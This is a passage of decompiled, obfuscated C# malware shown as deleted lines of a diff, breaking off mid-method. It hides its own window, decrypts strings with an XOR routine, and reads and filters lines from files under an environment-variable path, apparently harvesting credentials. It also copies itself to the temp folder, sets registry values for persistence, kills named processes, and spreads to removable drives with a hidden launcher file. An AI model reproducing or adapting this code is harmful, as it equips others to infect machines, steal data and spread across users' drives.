80; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.ActiveCaptionText; - size1 = new Size(483, 310); - this.ClientSize = size1; - this.Controls.Add((Control) this.\u009A()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u0099()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u0098()); - this.Controls.Add((Control) this.\u0097()); - this.Controls.Add((Control) this.\u0096()); - this.Controls.Add((Control) this.\u0095()); - this.Controls.Add((Control) this.\u0094()); - this.Controls.Add((Control) this.\u0093()); - this.Controls.Add((Control) this.\u0092()); - this.Controls.Add((Control) this.\u0091()); - this.Controls.Add((Control) this.\u0090()); - this.Controls.Add((Control) this.\u008F()); - this.Controls.Add((Control) this.\u008E()); - this.Controls.Add((Control) this.\u008D()); - this.Controls.Add((Control) this.\u008C()); - this.Controls.Add((Control) this.\u008B()); - this.Controls.Add((Control) this.\u008A()); - this.Controls.Add((Control) this.\u0089()); - this.Controls.Add((Control) this.\u0088()); - this.Controls.Add((Control) this.\u0087()); - this.Controls.Add((Control) this.\u0086()); - this.Controls.Add((Control) this.\u0084()); - this.Controls.Add((Control) this.\u0083()); - this.Controls.Add((Control) this.\u0082()); - this.Controls.Add((Control) this.\u0081()); - this.Controls.Add((Control) this.\u0080()); - this.Controls.Add((Control) this.\u007F()); - this.Controls.Add((Control) this.\u001F()); - this.Controls.Add((Control) this.\u001E()); - this.Controls.Add((Control) this.\u0004()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u001D()); - this.Controls.Add((Control) this.\u001C()); - this.Controls.Add((Control) this.\u001B()); - this.Controls.Add((Control) this.\u001A()); - this.Controls.Add((Control) this.\u0019()); - this.Controls.Add((Control) this.\u0018()); - this.Controls.Add((Control) this.\u0017()); - this.Controls.Add((Control) this.\u0016()); - this.Controls.Add((Control) this.\u0015()); - this.Controls.Add((Control) this.\u0014()); - this.Controls.Add((Control) this.\u0013()); - this.Controls.Add((Control) this.\u0012()); - this.Controls.Add((Control) this.\u0011()); - this.Controls.Add((Control) this.\u0010()); - this.Controls.Add((Control) this.\u000F()); - this.Controls.Add((Control) this.\u000E()); - this.Controls.Add((Control) this.\u0008()); - this.Controls.Add((Control) this.\u0007()); - this.Controls.Add((Control) this.\u0006()); - this.Controls.Add((Control) this.\u0005()); - this.Controls.Add((Control) this.\u0004()); - this.Controls.Add((Control) this.\u0003()); - this.ForeColor = SystemColors.ControlLightLight; - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = \u0001.\u0003(-1567516730); - this.Opacity = 0.0; - this.Text = \u0001.\u0003(-1567516718); - this.ResumeLayout(false); - this.PerformLayout(); - } - - [DebuggerNonUserCode] - internal virtual TextBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0005() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0006() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0006([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0007() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0007([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0008() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0008([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u000E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u000E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u000F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u000F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0010() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0010([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0011() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0011([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0012() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0012([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0013() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0013([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0014() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0014([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0015() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0015([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0016() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0016([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0017() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0017([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0018() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0018([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0019() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0019([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001A([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001B() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001B([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001C() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001C([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001D() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001D([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0004)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0005)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0005() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0006)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0006() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0006([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0007)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u001E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u007F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u007F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0080() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0080([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0081() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0081([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0082() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0082([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0083() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0083([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0084() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0084([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0086() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0086([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual CheckBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] CheckBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual CheckBox \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] CheckBox obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0008)); - if (this.\u0001 != null) - this.\u0001.CheckedChanged -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.CheckedChanged += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u0087() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0087([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0088() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0088([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0089() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0089([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008A([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008B() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008B([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008C() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008C([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008D() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008D([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0007() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0007([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u000E)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u008F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0090() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0090([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0091() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0091([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0092() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0092([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0093() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0093([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0094() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0094([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0095() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0095([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0096() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0096([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0097() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0097([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0098() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0098([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0008() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0008([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u000F)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual Label \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] Label obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0099() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0099([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual BackgroundWorker \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] BackgroundWorker obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - DoWorkEventHandler workEventHandler = new DoWorkEventHandler((object) obj, __vmethodptr(obj, \u0003)); - if (this.\u0001 != null) - this.\u0001.DoWork -= workEventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.DoWork += workEventHandler; - } - - [DebuggerNonUserCode] - internal virtual ListBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] ListBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u009A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u009A([In] TextBox obj0) => this.\u0001 = obj0; - - [DllImport("gdi32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003( - [In] int obj0, - [In] int obj1, - [In] int obj2, - [In] int obj3, - [In] int obj4, - [In] int obj5, - [In] int obj6, - [In] int obj7, - [In] int obj8); - - [DllImport("user32", EntryPoint = "GetDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003([In] IntPtr obj0); - - [DllImport("user32", EntryPoint = "ReleaseDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003([In] IntPtr obj0, [In] int obj1); - - public string \u0003([In] string obj0, [In] string obj1) - { - long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(obj1) / 2.0))); - long num2 = 1; - string str; - while (num2 <= num1) - { - int num3 = checked ((int) Math.Round(Conversion.Val(\u0001.\u0003(-1567516702) + Strings.Mid(obj1, (int) (2L * num2 - 1L), 2)))); - int num4 = Strings.Asc(Strings.Mid(obj0, checked ((int) (unchecked (num2 % (long) Strings.Len(obj0)) + 1L)), 1)); - str += Conversions.ToString(Strings.Chr(num3 ^ num4)); - checked { ++num2; } - } - return str; - } - - public string \u0003() - { - string str1; - try - { - string str2 = \u0001.\u0003(-1567516679); - string str3 = \u0001.\u0003(-1567516759); - str1 = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) \u0001.\u0003(-1567516839), this.\u0003(ref str2)), (object) \u0001.\u0003(-1567516826)), (object) \u0001.\u0003(-1567516803)), (object) this.\u0003(Conversions.ToString(this.\u0003(ref str3))))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str1; - } - - public object \u0003([In] ref string obj0) - { - object obj1; - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num2 = 2; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(\u0001.\u0003(-1567516925), string.Empty)); - string MemberName = \u0001.\u0003(-1567516905); - object[] objArray = new object[1]{ (object) obj0 }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj2 = NewLateBinding.LateGet(objectValue, (System.Type) null, MemberName, Arguments, (string[]) null, (System.Type[]) null, CopyBack); - if (flagArray[0]) - obj0 = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - obj1 = RuntimeHelpers.GetObjectValue(obj2); - goto label_9; -label_4: - num1 = -1; - switch (num2) - { - case 2: - obj1 = (object) null; - goto label_9; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num2 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - object obj3 = obj1; - if (num1 == 0) - return obj3; - ProjectData.ClearProjectError(); - return obj3; - } - - public string \u0003([In] string obj0) - { - object Left = (object) null; - object LoopForResult; - object CounterResult; - object Counter; - if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 1, (object) Strings.Len(obj0), (object) 1, ref LoopForResult, ref CounterResult)) - goto label_2; -label_1: - return Conversions.ToString(Left); -label_2: - do - { - object Right = (object) Strings.Mid(obj0, Conversions.ToInteger(CounterResult), 2); - Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) Strings.Chr(checked ((int) Math.Round(Conversion.Val(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) \u0001.\u0003(-1567516895), Right)))))); - CounterResult = Microsoft.VisualBasic.CompilerServices.Operators.AddObject(CounterResult, (object) 1); - } - while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult)); - goto label_1; - } - - public object \u0003() - { - object obj; - try - { - string file = Interaction.Environ(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567517217); - string str1 = Conversions.ToString(1); - string str2 = \u0001.\u0003(-1567516826); - string end = \u0002.\u0003().FileSystem.OpenTextFileReader(file).ReadToEnd(); - string str3 = (string) null; - string[] strArray1 = end.Split('\r'); - str1 = (string) null; - string[] strArray2 = strArray1; - int index = 0; - while (index < strArray2.Length) - { - string str4 = strArray2[index]; - if (str4.Contains(\u0001.\u0003(-1567517189))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517302))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517307))) - str3 = str3 + str4 + str2 + str2; - checked { ++index; } - } - obj = (object) str3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return obj; - } - - public object \u0004() - { - object obj; - try - { - string file = Interaction.Environ(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567517292); - string str1 = Conversions.ToString(1); - string str2 = \u0001.\u0003(-1567516826); - string end = \u0002.\u0003().FileSystem.OpenTextFileReader(file).ReadToEnd(); - string str3 = (string) null; - string[] strArray1 = end.Split('\r'); - str1 = (string) null; - string[] strArray2 = strArray1; - int index = 0; - while (index < strArray2.Length) - { - string str4 = strArray2[index]; - if (str4.Contains(\u0001.\u0003(-1567517367))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517349))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517355))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517317))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517323))) - str3 = str3 + str4 + str2 + str2; - checked { ++index; } - } - obj = (object) str3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return obj; - } - - protected override void WndProc([In] ref System.Windows.Forms.Message obj0) - { - if (obj0.Msg == 537) - this.\u0003(ref obj0); - base.WndProc(ref obj0); - } - - private void \u0003([In] ref System.Windows.Forms.Message obj0) - { - switch ((int) obj0.WParam) - { - case 32768: - this.\u0006(); - break; - } - } - - public void \u0004() - { - string tempPath = Path.GetTempPath(); - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0001.\u0003(-1567517433), true); - registryKey.SetValue(\u0001.\u0003(-1567517493), (object) (tempPath + \u0001.\u0003(-1567517474))); - registryKey.Close(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0001.\u0003(-1567517458), true); - registryKey.SetValue(\u0001.\u0003(-1567517493), (object) (tempPath + \u0001.\u0003(-1567517474))); - registryKey.Close(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - private void \u0005() - { - string tempPath = Path.GetTempPath(); - this.\u0001 = Path.GetFileName(Application.ExecutablePath); - this.\u0001 = tempPath + \u0001.\u0003(-1567517474); - if (!System.IO.File.Exists(this.\u0001)) - return; - System.IO.File.Copy(this.\u0001, this.\u0001); - } - - public void \u0006() - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - string fileName = Path.GetFileName(Application.ExecutablePath); -label_17: - ProjectData.ClearProjectError(); - num2 = -2; -label_1: - num3 = 3; - \u0002.\u0003().Registry.SetValue(\u0001.\u0003(-1567517550), \u0001.\u0003(-1567517594), (object) \u0001.\u0003(-1567517583), RegistryValueKind.DWord); -label_2: - num3 = 4; - string[] logicalDrives = Environment.GetLogicalDrives(); -label_3: - num3 = 5; - int num4 = checked (logicalDrives.Length - 1); - int index = 0; - goto label_13; -label_4: - num3 = 6; - DriveInfo driveInfo = new DriveInfo(logicalDrives[index]); -label_5: - num3 = 7; - if (driveInfo.DriveType != DriveType.Removable) - goto label_12; -label_6: - num3 = 8; - if (!driveInfo.IsReady) - goto label_12; -label_7: - num3 = 9; - if (System.IO.File.Exists(logicalDrives[index] + fileName)) - goto label_12; -label_8: - num3 = 10; - System.IO.File.Copy(Application.ExecutablePath, logicalDrives[index] + fileName, true); -label_9: - num3 = 11; - \u0002.\u0003().FileSystem.WriteAllText(logicalDrives[index] + \u0001.\u0003(-1567517687), \u0001.\u0003(-1567517665) + logicalDrives[index] + fileName + \u0001.\u0003(-1567517664) + logicalDrives[index], true); -label_10: - num3 = 12; - FileSystem.SetAttr(logicalDrives[index] + fileName, FileAttribute.Normal); -label_11: - num3 = 13; - FileSystem.SetAttr(logicalDrives[index] + \u0001.\u0003(-1567517687), FileAttribute.Hidden); -label_12: - num3 = 17; - checked { ++index; } -label_13: - if (index <= num4) - goto label_4; - else - goto label_21; -label_15: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num5 = num1 + 1; - num1 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_17; - case 3: - goto label_1; - case 4: - goto label_2; - case 5: - goto label_3; - case 6: - goto label_4; - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - case 15: - case 16: - case 17: - goto label_12; - case 18: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_15; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num1 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void \u0003([In] string obj0) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.ProcessName.Contains(obj0)) - process.Kill(); - checked { ++index; } - } - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - this.Opacity = 0.0; - this.ShowInTaskbar = false; - this.Hide(); - this.WindowState = FormWindowState.Minimized; - this.\u0003(\u0001.\u0003(-1567515702)); - this.\u0003(\u0001.\u0003(-1567515708)); - if (\u0002.\u0003().Info.OSFullName.Contains(\u0001.\u0003(-1567515690))) - { - try - { - this.\u0092().Text = Application.ExecutablePath; - if (!this.\u0092().Text.Contains(\u0001.\u0003(-1567517474))) - { - this.\u0003(\u0001.\u0003(-1567515667)); - this.\u0004(); - this.\u0005(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - try - { - if (System.IO.File.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - 